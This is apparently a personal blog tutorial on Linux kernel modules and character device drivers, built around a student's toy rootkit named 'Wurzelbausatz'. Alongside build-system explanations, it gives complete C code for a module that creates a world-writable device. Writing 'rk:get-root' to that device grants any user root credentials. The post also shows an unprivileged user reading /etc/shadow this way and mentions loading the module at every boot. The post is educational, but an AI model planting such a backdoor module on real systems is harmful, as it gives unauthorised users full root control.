With echo to root: Developing the rootkit 'Wurzelbausatz'

A (somewhat long) primer on Linux kernel modules and device drivers

5357 words
26 minutes

Origin of the Idea

Admittedly, I had never had any contact with rootkits and had never even thought about developing one. Until a few days ago, I wasn’t even clear on what a rootkit actually is and how it differs from a “normal” tool for privilege escalation. But that’s exactly why I decided to give it a try and find out.

The idea came from my computer science master’s program, specifically from a lab in the Embedded Linux module. Well, actually, that’s not quite right – the task was simply to develop a conventional driver to familiarize ourselves with Linux and the kernel’s build system. But that wasn’t particularly interesting without a real use-case, and who would I be if I didn’t choose something ridiculous for that – after all, I come from IT security and must shamelessly exploit the opportunity to work directly in the kernel’s memory area.

And thus, the idea of the “Wurzelbausatz” (yes, that’s the poor German translation of “rootkit”) was born. I want to use this topic to document how I learned to handle kernel modules and my approach. The whole Linux world is super complex and sometimes too “legacy” for modern and easily accessible documentation, unfortunately. I hope I can shed some light on it with this article.

Disclaimer: As you can probably tell from this introduction, I’m still in the learning phase of this topic. So, it’s possible that I might omit some things due to a lack of knowledge. However, I will certainly not document any unverifiable facts here.

Disclaimer 2: The blog post ended up being a bit longer than I thought.

Basics of Linux Drivers

Linux kernel modules are essentially plugins for the Linux kernel. It should be known that almost all operating systems separate memory areas and privilege levels into the so-called kernel space and user space. A kernel module operates in kernel space and has significantly higher privileges than user-space applications. In some cases, this is necessary, such as when developing device drivers, which is one of the purposes of kernel modules. System resources are the focus here.

Drivers can be divided into three main groups:

  • Character Device Driver
  • Block Device Driver
  • Other (such as network or USB drivers)

Character and block device drivers are very similar. They are drivers that fundamentally have to handle I/O. They differ only in their unit of allocation: Character device drivers handle “characters,” which is the historical name for “bytes” (in C, there is no byte data type, but there is char, which usually represents a single byte). A block device driver speaks more in sectors rather than bytes – they are suitable for block-based devices (namely hard drives). I didn’t deal with the other driver types within the lab.

By the way, the type of a driver is visible in the /dev directory as the first file attribute (c = character, b = block):

# List ttys (char devices)
~$ ls -lah /dev/tty?
crw--w---- 1 root tty 4, 0 May 21 10:10 /dev/tty0
crw--w---- 1 root tty 4, 1 May 21 10:10 /dev/tty1
crw--w---- 1 root tty 4, 2 May 21 10:10 /dev/tty2
...

# List hard drives (block devices)
~$ ls -lah /dev/sd?
brw-rw---- 1 root disk 8,  0 May 21 10:10 /dev/sda
brw-rw---- 1 root disk 8, 16 May 21 10:10 /dev/sdb
brw-rw---- 1 root disk 8, 32 May 21 10:10 /dev/sdc
...

Where the file size usually stands (between owner/group and modification date), there’s something new. For /dev/tty1, for example, you see 4, 1. This is a kind of identifier for the device, consisting of the major and minor numbers. The major number indicates the device type or the driver used, and the minor number indicates the instance of this driver. All ttys use the same driver (major 4), and each new device of this driver receives its own increment of the minor number. This will be important later.

Okay, but back to character devices. I personally wasn’t entirely clear on what they concretely are at that time. Here are two examples: A Linux console (whether local or via SSH) is based on a so-called teletypewriter device (TTY). Experienced Linux users are likely familiar with this term. The TTY device bundles STDIN, STDOUT, and STDERR of the running session. The TTY device assigned to the current session can be output with the tty command. If you examine this with ls, you will notice…

~$ ls -lah $(tty)
crw--w---- 1 lsc tty 136, 6 May 21  2024 /dev/pts/6

…that again a c is listed as the first file attribute! A TTY device is therefore a character device. This makes sense because programs can write characters to this device to make it visible on the console for the user. By the way, we can also do this manually with echo:

~$ echo "Hello World" > $(tty)
Hello World
~$ 

The output is visible on the terminal. If you want to play around with it, you can try creating two SSH sessions on the same computer and write something to the TTY device of the other session. This would be a – albeit exotic – form of inter-process communication.

A second example of a character device driver is a driver for the most hated hardware among computer scientists: printers. When a PDF reader, for example, wants to print something, it simply writes the document byte by byte to the device of the corresponding printer driver, and the driver ensures that the byte stream reaches the printer (some printers may not succeed, but it’s just about the theory). Some printer(drivers) even allow plain strings, so an echo "Hello World" > /dev/some-printer directly triggers a print job.

Okay, enough theory. We will find out everything else when it becomes necessary.

Code Skeleton

Let’s start coding!

Every driver first needs only two functions – an init and an exit function – which are called when loading and unloading the kernel module, respectively. With C macros, you can also define the module metadata:

#include <linux/module.h>  /* Needed by all kernel modules */
#include <linux/kernel.h>  /* Needed for loglevels (KERN_WARNING, KERN_EMERG, KERN_INFO, etc.) */
#include <linux/init.h>    /* Needed for __init and __exit macros. */

// module metadata
MODULE_AUTHOR("Leon Schmidt");
MODULE_DESCRIPTION("Kernel module to root yourself");
MODULE_VERSION("0.1");
MODULE_LICENSE("GPL v2");

static int __init kmod_init(void)
{
  printk(KERN_INFO "Module loaded\n");
  ...
}

static void __exit kmod_exit(void)
{
  printk(KERN_INFO "Module unloaded\n");
  ...
}

// register init and exit function
module_init(kmod_init);
module_exit(kmod_exit);

That’s all we need for now. The functions must have the shown signatures and the __init and __exit attributes. The name doesn’t matter. As a convention, all functions used by the kernel in my code begin with kmod_. Otherwise, you have a lot of freedom in the implementation.

By the way: The printk function is – surprise – for printing text. You might wonder why we don’t simply use printf like in other C programs? Well, the answer is quite simple but somehow “unsatisfactory”. Linux kernel modules do not have a C standard library. It is implemented in user space and therefore simply not available. This makes implementing many things initially more complicated, but a few functions like strcpy or strcmp have been “re-implemented” in the kernel, which you can use instead. However, you need to be aware that these are different libraries that may function differently.

Our module can’t do much yet, but it is a valid, loadable kernel module. If we now want to turn it into a character device driver, we need to implement the syscalls OPEN, READ, and WRITE. Why? We know that the TTY driver is also a character device. When we write text to it with echo and >, we are essentially performing a WRITE syscall under the hood. When cat-ing the TTY, it’s a READ syscall (sometimes even multiple one, which we will look at later in detail). We need to implement these syscalls to make our module a character device driver. Optionally, we can implement other so-called “file operations,” but we don’t need that right now. The syscalls are defined in a file_operations structure:

static struct file_operations fops = 
{
  .open = kmod_open,
  .read = kmod_read,
  .write = kmod_write,
};

static int kmod_open(struct inode *inode, struct file *f);
static ssize_t kmod_read(struct file *f, char __user *buf, size_t len, loff_t *off);
static ssize_t kmod_write(struct file *f, const char __user *buf, size_t len, loff_t *off);

I intentionally left out the implementations because they are a bit more complicated (especially in the read and write functions). We will look at those later.

In the init function (here: kmod_init), the file_operations structure can then be passed to the register_chrdev function to receive a major number from the kernel. Basically, you can “request” a specific one here, but we will happily take the one the kernel chooses for us. For this, we simply set the first parameter to 0.

Additionally, we want to create an entry in /dev for our device – this doesn’t happen automatically either. For this, we first need to create a device class and then the device itself. We can name the class whatever we want. I call it ttyRK here for “TTY-Rootkit.” We will need the device class later – for now, it is just necessary to create a device.

The init and exit functions then look like this:

#define DEVICE_NAME "ttyWBS"
#define DEVICE_CLASS "ttyRK"

static int majorNumber;
static struct class *wbsClass = NULL;
static struct device *wbsDevice = NULL;

static int __init kmod_init(void)
{
  printk(KERN_INFO "Registering char device\n");
  if ((majorNumber = register_chrdev(0, DEVICE_NAME, &fops)) < 0)
  {
    printk(KERN_ERR "Failed to register major number, errcode: %d\n", majorNumber);
    return EXIT_ERROR;
  }
  wbsClass = class_create(THIS_MODULE, DEVICE_CLASS);
  wbsDevice = device_create(wbsClass, NULL /*parent*/, MKDEV(majorNumber, 0) /*dev_t*/, NULL /*drvdata*/, DEVICE_NAME);
  ...
}

static void __exit kmod_exit(void)
{
  // don't forget to unregister the device
  printk(KERN_INFO "Unregistering char device\n");
  device_destroy(wbsClass, MKDEV(majorNumber, 0));
  class_unregister(wbsClass);
  class_destroy(wbsClass);
  unregister_chrdev(majorNumber, DEVICE_NAME);
}

So. With that, the boilerplate code is done. Now we just need to compile it to get a so-called kernel object (.ko) that we can then load into the kernel.

Hold on tight, this is not that simple.

Building the Module – An Art in Itself

I could now simply list the steps I executed as bullet points and be done with it. But that would miss the point of my lab task (for which I’m doing all this here). My goal is to familiarize myself with the Linux build system. I want to transport and document this knowledge as well as I can.

Before we do anything, we need the kernel sources in the correct version because the kernel module we want to build with it will only be compatible with Linux kernels that have the same version as the source tree. The version of the target system, in which we want to load the module, can be obtained with uname -r, and the version of the source tree with make kernelversion (more on the make system later). These versions must match!

Some package managers keep the source tree available in the running system or allow it to be installed afterward. With APT, this can be done with apt-get source linux. Alternatively, you can download the sources for a specific version (here for 6.1.18) directly from kernel.org: https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.18.tar.gz.

The Linux build system is make-based. Everything that is built for the Linux kernel (including the kernel itself) must go through this system. The configuration of a build is done with the so-called Kconfig system to give make everything it needs. The configuration values end up in a single file: .config. Since this file can become quite large and it’s almost impossible to understand everything, there are make targets to help create it. The most well-known is probably make menuconfig. It creates a GUI in the terminal, allowing you to navigate through all the configuration parameters. In addition to make menuconfig, there are other configuration aids, but I have only worked with it so far and was quite satisfied with it.

There are also configuration templates – the so-called “defconfigs.” They define base values for specific platforms (from architectures like arm64 to specific single-board computers) and are already included in the kernel sources. If you need to use one, copy it to .config before make menuconfig and then adjust it if desired. The available defconfigs can be listed with ls arch/arm/configs (here for the arm architecture). With make <defconfig-name>, it can be activated. The target architecture must also be specified as an environment variable so that make can find the correct defconfig. For my used board, the entire command is ARCH=arm make emsbc-argon_defconfig. For make menuconfig, the target architecture, as well as a cross-compiler prefix CROSS_COMPILE=, must also be specified if necessary. With a final make (again with the environment variables), the sources can then be built.

In summary, I took the following steps:

# set defconfig
~$ ARCH=arm make emsbc-argon_defconfig
# make configuration with menuconfig
~$ ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make menucefconfig
# run
~$ ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make
By the way: In a running Linux, the build configuration can also be read out to reproduce the build. The configuration is GZIP compressed in /proc/config.gz and can be directly output with zcat /proc/config.gz! Super handy.

By the way, make builds the entire Linux kernel, which now lies somewhere in your file tree. That’s not a problem for us because the builds are cached. Further calls to make only rebuild the changes. We need some files from the build process for our kernel module anyway. Theoretically, you could limit the build with the more specific build target make modules, but, well, I didn’t know that beforehand, so we won’t do it that way.

So far, we have only done preliminary work. Now we can integrate the kernel module into the tree. Modules are usually located in drivers/<type>/<name>. Since we don’t have a <type>, we can simply create it under staging, resulting in a full path of drivers/staging/wurzelbausatz. To integrate the module into the build system, we need some boilerplate code: a Kconfig, another Makefile, and an adjustment to an existing Makefile because the build system in the Linux kernel is recursive! Every feature has its own Makefile, all of which are united by the “main Makefile.”

First, we need to adjust drivers/staging/Makefile to recognize the newly created folder drivers/staging/wurzelbausatz. We add this at the end of the file:

obj-$(CONFIG_WURZELBAUSATZ)	+= wurzelbausatz/

Additionally, our module needs its own Makefile with the following content:

obj-$(CONFIG_WURZELBAUSATZ) += wurzelbausatz.o

But what does this mean? First, about the variable CONFIG_WURZELBAUSATZ: This is populated by make menuconfig (we will do that ourselves in a moment) and has either the values M or y. M stands for “build this as an external, loadable kernel Module (as a .ko file)” and y stands for "yes, build this directly into the kernel". Yes, you can build kernel modules directly into the kernel. But this means that only this kernel build includes and can use this module. We want M. In our Makefile, this results in obj-M, which is the build target for kernel modules. We then add our .o object file to this. It is built in a previous step from our .c file, so the filenames must match (wurzelbausatz.cwurzelbausatz.o).

With the Kconfig, we define how the module appears in menuconfig. It is written in its own syntax, which I haven’t fully understood yet. This is how it looks for the Wurzelbausatz. It’s important that the line under ---help--- is indented exactly two spaces further:

# SPDX-License-Identifier: GPL-2.0
menuconfig WURZELBAUSATZ
	tristate "Wurzelbausatz"
	---help---
	  Kernel module to root yourself.

When all this is done, we can activate the build of our module in menuconfig (you know, to set CONFIG_WURZELBAUSATZ=M and so on). For our module, the option is located in make menuconfig under “Device drivers > Staging drivers > Wurzelbausatz” and can be toggled to M with the spacebar. Don’t forget to save. With cat .config | grep CONFIG_WURZELBAUSATZ, we can verify that the variable was set.

Now we only need to place our code next to the Kconfig and Makefile and run ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make again, and then…

~$ ls -lah drivers/staging/wurzelbausatz/*.ko
-rw-rw-r-- 1 student student 12K Mai 28 21:22 wurzelbausatz.ko

…we have our kernel module! We can now bring this into our running system and load it with insmod ./wurzelbausatz.ko. The command modprobe might be more familiar for loading kernel modules: The difference between insmod and modprobe is that the latter also does fancy things like dependency checking. For this to work, we need to move the modules.builtin, modules.order, and wurzelbausatz.ko to /lib/modules/$(uname -r)/ on the target system (!) and then build the dependency indices with the depmod command. Then we can also load the module with modprobe wurzelbausatz. But this is completely optional and offers no advantages in this case. The make modules_install target, which we will look at in detail later, automatically takes care of the correct installation.

Since our boilerplate code already implements the creation of the character device ttyWBS, we can quickly verify if it was created correctly:

~$ ls -lah /dev/ttyWBS
crw------- 1 root root 244, 0 Jun 16 21:39 /dev/ttyWBS

Here we can also see that our device received the major number 244.

The following commands are also important for interacting with the module (especially the last one):

CommandBeschreibung
insmod <path-to-ko>, modprobe <module-name>To load a module
rmmod <module-name>, modprobe -r <module-name>To unload a module
lsmodList currently loaded modules
modinfo <path-to-ko>Shows information about a kernel module
dmesgRead the kernel log buffer (that’s where the printk calls go)

In my embedded lab, I also tinkered with the device tree and built FIT images for the U-Boot bootloader, where I learned a lot about the Linux build system, which I documented here. However, I don’t want to go into the device tree stuff any further here.

Building Outside the Kernel Source Tree

There is another way to build kernel modules. Some of you might have thought while reading, “It’s really impractical that the module has to be in the kernel sources” or “How do I properly version this if it’s in the kernel source tree?”. Little excursus: There is another way!

Especially if the kernel module is explicitly meant to be installed as a module and not to be part of the kernel, you should rethink: It really makes no sense to “maintain” the module in <kernel>/drivers/staging/*. If you were to do it properly, it would mean maintaining a fork of the Linux kernel (and no one really wants to do that). make has a very useful flag that allows you to “shift” the build context: -C <path>. This allows you to use the Makefile (hierarchy) from another directory – for example, the Linux kernel’s. The problem is that the implementation of this -C flag is quite blunt: At the beginning, make just does a cd into this directory. This means you lose the context of the current directory, that is, the source tree of the module. To counteract this, the build system of the Linux kernel implements a make parameter M, which should point to the directory of the module (hence the “M”). If you are in the path of your module, you usually set this to $(pwd). The makefiles of the kernel are written flexibly enough to build things outside of their own source tree.

Conveniently, many package managers offer the option to install the kernel source tree directly to a known location, e.g., /lib/modules/$(uname -r)/build. If you don’t have this option, you can also just git clone the appropriate kernel commit and point the -C parameter there.

Let’s assume we have our kernel module source code (i.e., Kbuild, Makefile, and wurzelbausatz.c) in a folder outside the kernel where we can also version it properly, then a make command would look like this:

~$ make -C /lib/modules/$(uname -r)/build M=$(pwd) modules

What’s even more practical: We can use the kernel’s make targets. These include the modules target, but also the clean target, which cleans up our own source tree. We can also make our lives easier by simply putting these commands into our own Makefile. We don’t need the original Makefile anymore, so we can now write the following there:

obj-m += wurzelbausatz.o

KERNEL_DIR ?= /lib/modules/`uname -r`/build
all:
	make -C $(KERNEL_DIR) M=$(PWD) modules
install:
	make -C $(KERNEL_DIR) M=$(PWD) modules_install
clean:
	make -C $(KERNEL_DIR) M=$(PWD) clean

This way, we only need to run make to build the module! We can also pass the variable INSTALL_MOD_PATH to the modules_install target to install the module directly into a root filesystem (e.g., in an NFS root) – including dependency setup so that modprobe can be used. Similarly, we can pass flags for a cross-compiler and the target architecture to our make command. Nice!

Now that we know how to build the module, we can also start to get spicy and implement the actual rootkit code.

Implementing the Rootkit Functions

Okay, now it’s getting serious. So far, it wasn’t actually about rootkits but just about kernel modules in general. But we want to do fun things with the module. So what’s the plan?

As mentioned earlier, it wasn’t intended to make the developed kernel module a rootkit. That’s why I was inspired by this forum post: It explains what Linux credentials are: They define the identity of a process and its rights. It describes how to use a kernel module to rewrite your own credentials to match those of the root user. This effectively makes you root. Here it is described what these credentials are about and how to adjust them for the current user. The principle is relatively simple: Include <linux/cred.h>, create a new set of credentials with prepare_creds(), then adjust the values of the credentials struct (uid, gid, euid, egid, suid, sgid, fsuid, and fsgid), and apply these new credentials to the current process with commit_creds():

struct cred *new_cred;

if ((new_cred = prepare_creds()) == NULL)
{
  printk(KERN_ERR "Couldn't prepare credentials\n");
  return EXIT_ERROR;
}
new_cred->uid = make_kuid(current_user_ns(), 0);
new_cred->gid = make_kgid(current_user_ns(), 0);
new_cred->euid = make_kuid(current_user_ns(), 0);
new_cred->egid = make_kgid(current_user_ns(), 0);
new_cred->suid = make_kuid(current_user_ns(), 0);
new_cred->sgid = make_kgid(current_user_ns(), 0);
new_cred->fsuid = make_kuid(current_user_ns(), 0);
new_cred->fsgid = make_kgid(current_user_ns(), 0);
commit_creds(new_cred);

We set all values to 0, which corresponds to the rights of the root user. After calling commit_creds, our shell process has root rights, no matter what rights we had before. Now we just need to call this code somehow. We can easily use the WRITE file operation, which we haven’t implemented yet. To remind you, the signature of this function looks like this:

static ssize_t kmod_write(struct file *f, const char __user *buf, size_t len, loff_t *off);

We can trigger this function, for example, by writing a string to our character device with echo, e.g., echo "rk:get-root" > /dev/ttyWBS.

*f is the reference to the “file” (i.e., the character device because everything in Linux is a file) into which is currently being written. This is useful to know if we want to use the same function for multiple character devices. But we don’t do that here, as we only use the write function for our character device – we can ignore the file parameter. *buf is the buffer that contains the content to be written, and len is its length. The offset *off is then used when write operations are performed in parts (i.e., over multiple WRITE syscalls), which is especially the case for larger payloads. But we don’t need that either, as we write our “trigger string” with echo, which doesn’t do this in pieces. What stands out is the __user specifier: This indicates that the pointer *buf points to the user memory space. If we want to work with it in the kernel memory space, we first need to copy it over with the copy_from_user function. Also, the other way around, we need to use copy_to_user, as we should avoid allowing the user to write directly into the kernel memory space.

First, we need to make space in the kernel memory space and then copy the buffer over:

char *data;
data = (char*)kmalloc(len, GFP_KERNEL); // kmalloc = malloc for kernel-code
if (data)
{
  unsigned long not_copied;
  if ((not_copied = copy_from_user(data, buf, len)) != 0)
  {
    printk(KERN_ERR "Not all bytes have been copied from user\n");
    kfree(data);
    return len;
  }
  ...

The value returned by copy_from_user indicates the remaining bytes that can be read in the next read call using the offset parameter. As mentioned earlier, we don’t need that here, so we treat it as an error.

We actually want to do a strcmp to see if the written string is our trigger string. One thing to note: Things written to a device are not necessarily always a string. For example, an echo without parameters appends just a \n line break to the data but no C-string terminator (\0). We need to append this ourselves to make strcmp work. If the string matches, we can use the above-mentioned code for credential manipulation. Additionally, we need to return a positive value to indicate success. We simply take the length of the processed bytes – len.

The entire implementation of the write function then looks like this:

static ssize_t kmod_write(struct file *f, const char __user *buf, size_t len, loff_t *off)
{
  char *data;
  data = (char*)kmalloc(len, GFP_KERNEL);
  if (data)
  {
    unsigned long not_copied;
    if ((not_copied = copy_from_user(data, buf, len)) != 0)
    {
      printk(KERN_ERR "Not all bytes have been copied from user\n");
      kfree(data);
      return len;
    }
    strreplace(data, '\n', '\0');
    printk(KERN_INFO "Read '%s'\n", data);
	
	if (strcmp(data, "rk:get-root") == 0)
	{
	  struct cred *new_cred;

	  printk(KERN_INFO "Elevating you to root\n");
	  if ((new_cred = prepare_creds()) == NULL)
	  {
		printk(KERN_ERR "Couldn't prepare credentials\n");
		kfree(data);
		return EXIT_ERROR;
	  }
	  new_cred->uid = make_kuid(current_user_ns(), 0);
	  new_cred->gid = make_kgid(current_user_ns(), 0);
	  new_cred->euid = make_kuid(current_user_ns(), 0);
	  new_cred->egid = make_kgid(current_user_ns(), 0);
	  new_cred->suid = make_kuid(current_user_ns(), 0);
	  new_cred->sgid = make_kgid(current_user_ns(), 0);
	  new_cred->fsuid = make_kuid(current_user_ns(), 0);
	  new_cred->fsgid = make_kgid(current_user_ns(), 0);
	  commit_creds(new_cred);
	}
	else
	{
	  printk(KERN_WARNING "Unknown data '%s', doing nothing\n", data);
	}
	kfree(data);
  }
  else
  {
    printk(KERN_ERR "Unable to allocate memory");
  }
  return len;
}

That’s pretty much it. If we now build, load the module, and try writing the trigger string with an unprivileged user…

~$ echo "rk:get-root" > /dev/ttyWBS
-bash: /dev/ttyWBS: Permission denied

…we don’t have permission to do so. Of course – unprivileged users should not be able to write directly to devices. But we can work around this: In the kmod_init function, we create the device class ttyRK in the variable wbsClass. This determines the properties of all devices under it. Through wbsClass->devnode, we can define a function that, for example, overrides the mode (permissions) of each child device. We want the mode 0666 – read/write for everyone. So, we define the function tty_devnode and assign it to devnode of wbsClass right after its creation:

static char *tty_devnode(struct device *dev, umode_t *mode)
{
  if (!mode) return NULL;
  *mode = 0666;
  return NULL;
}

...

static int __init kmod_init(void) {
  ...
  wbsClass = class_create(THIS_MODULE, DEVICE_CLASS);
  wbsClass->devnode = tty_devnode; // <-- here!
  wbsDevice = device_create(wbsClass, NULL /*parent*/, MKDEV(majorNumber, 0) /*dev_t*/, NULL /*drvdata*/, DEVICE_NAME);
  ...
}

So, build again, load, and test by trying to view /etc/shadow:

~$ ls -lah /dev/ttyWBS
crw-rw-rw- 1 root root 244, 0 Jun 18 22:39 /dev/ttyWBS

~$ id
uid=1000(unpriv) gid=1000(unpriv) groups=1000(unpriv)

~$ cat /etc/shadow
cat: /etc/shadow: Permission denied

~$ echo "rk:get-root" > /dev/ttyWBS
[ 1408.490194] Read 'rk:get-root'
[ 1408.493213] Elevating you to root

~$ id
uid=0(root) gid=0(root) groups=0(root),1000(unpriv)

~$ cat /etc/shadow
root:*:19478:0:99999:7:::
daemon:*:19478:0:99999:7:::
...

Nice! This essentially completes the main function of the rootkit.

Reading the Instructions via READ Syscalls

One thing is still missing. We haven’t implemented the read function yet. I couldn’t think of anything better than using it to read instructions for the rootkit from the character device (though you could theoretically also include the credential code here again). However, I find it important to mention it here because you need to use the offset parameter, which we simply ignored in the write function. Those not interested in this can skip it, of course.

Our example command should be cat /dev/ttyWBS. This should provide a small instruction. We need to implement this in the read function of the file operations, which has the following signature:

static ssize_t kmod_read(struct file *f, char *buf, size_t len, loff_t *off);

We also have the *f pointer here, which we don’t need again. The buffer *buf is empty this time, as we need to write our output there. len indicates the number of bytes the reading part wants to read because this time, the reader specifies it. If you’ve ever tried to read data from a stream, you know this because you still have to create the buffer into which you want to “read” yourself. *off is the corresponding pointer to the file offset. It indicates where in the data stream the next read access should begin. So, if cat wants to read 5000 bytes in the first run, *off is at the 5001st byte in the second run. This way, the read function can gradually fill the caller’s buffers until the entire payload is read. If the read function returns an exit code of 0, it signals to the caller that we are done writing.

The function’s flow must therefore be as follows:

  1. Check if the offset *off exceeds the length of our message
    • If yes, return 0 → Caller stops reading
  2. Check how many bytes need to be copied in this run
    • If *off + len < READ_MSG_LEN, then len is intrinsically correct
    • If *off + len > READ_MSG_LEN, then the caller wants to read more than we have – we need to adjust len so that we only write the “rest of the message”
  3. Copy the message with the appropriate offset
    • With READ_MSG + *off, we can move the pointer forward
    • We copy exactly len bytes
  4. Adjust the caller’s offset (increment by len) to signal how much was actually written
  5. Return len to indicate success to the caller

The entire read function looks like this in the end (extra greetings to ChatGPT):

static ssize_t kmod_read(struct file *f, char *buf, size_t len, loff_t *off)
{
  if (*off >= READ_MSG_LEN) // check if beyond end of message
    return 0;

  if (*off + len > READ_MSG_LEN) // number of bytes to read
    len = READ_MSG_LEN - *off;

  if (copy_to_user(buf, READ_MSG + *off, len) != 0)
    return -EFAULT;

  *off += len; // update offset
  return (ssize_t)len;
}

So, now we’ve covered the basics of what you need to know about a character device driver. We’ve built a small rootkit that you can now append to the /etc/modules file to ensure it is automatically loaded at every boot!

What’s Next?

Kernel modules can do so much more. In fact, the Wurzelbausatz also does a bit more (onboard LED stuff, kernel threading, etc.). But that is not relevant to the topic of the blog. If you want to see the entire code, you can do so here: https://git.leon.wtf/leon/wurzelbausatz/-/tree/blogpost-1 (the correct implementation of kmod_read is a bit later in the Git history).

Other possibilities that I haven’t covered here include the following: Just as you can implement the file operations in the character device, you can also use the /proc filesystem for interaction. You can also interact with the module via IOCTL. You can define start parameters (which you can set with insmod and see with modinfo), do more with minor numbers, and essentially perform black magic with it. The question is how useful that would be and when you might as well just write a user-space application. Additionally, there are other interesting build methods like “Dynamic Kernel Module Support” (DKMS), which allows modules to be dynamically rebuilt on the device when the kernel version changes. This is especially convenient on personal Linux computers. DKMS versions of kernel modules are available in almost every package manager. The Wurzelbausatz could also be extended with this. But that would be too much for this blog post.

I might write another part about the Wurzelbausatz if I come up with more use cases for all the functions or if I work more with DKMS. In any case, I hope I could provide some insights into the world of Linux kernel modules (and maybe help someone with their lab).


References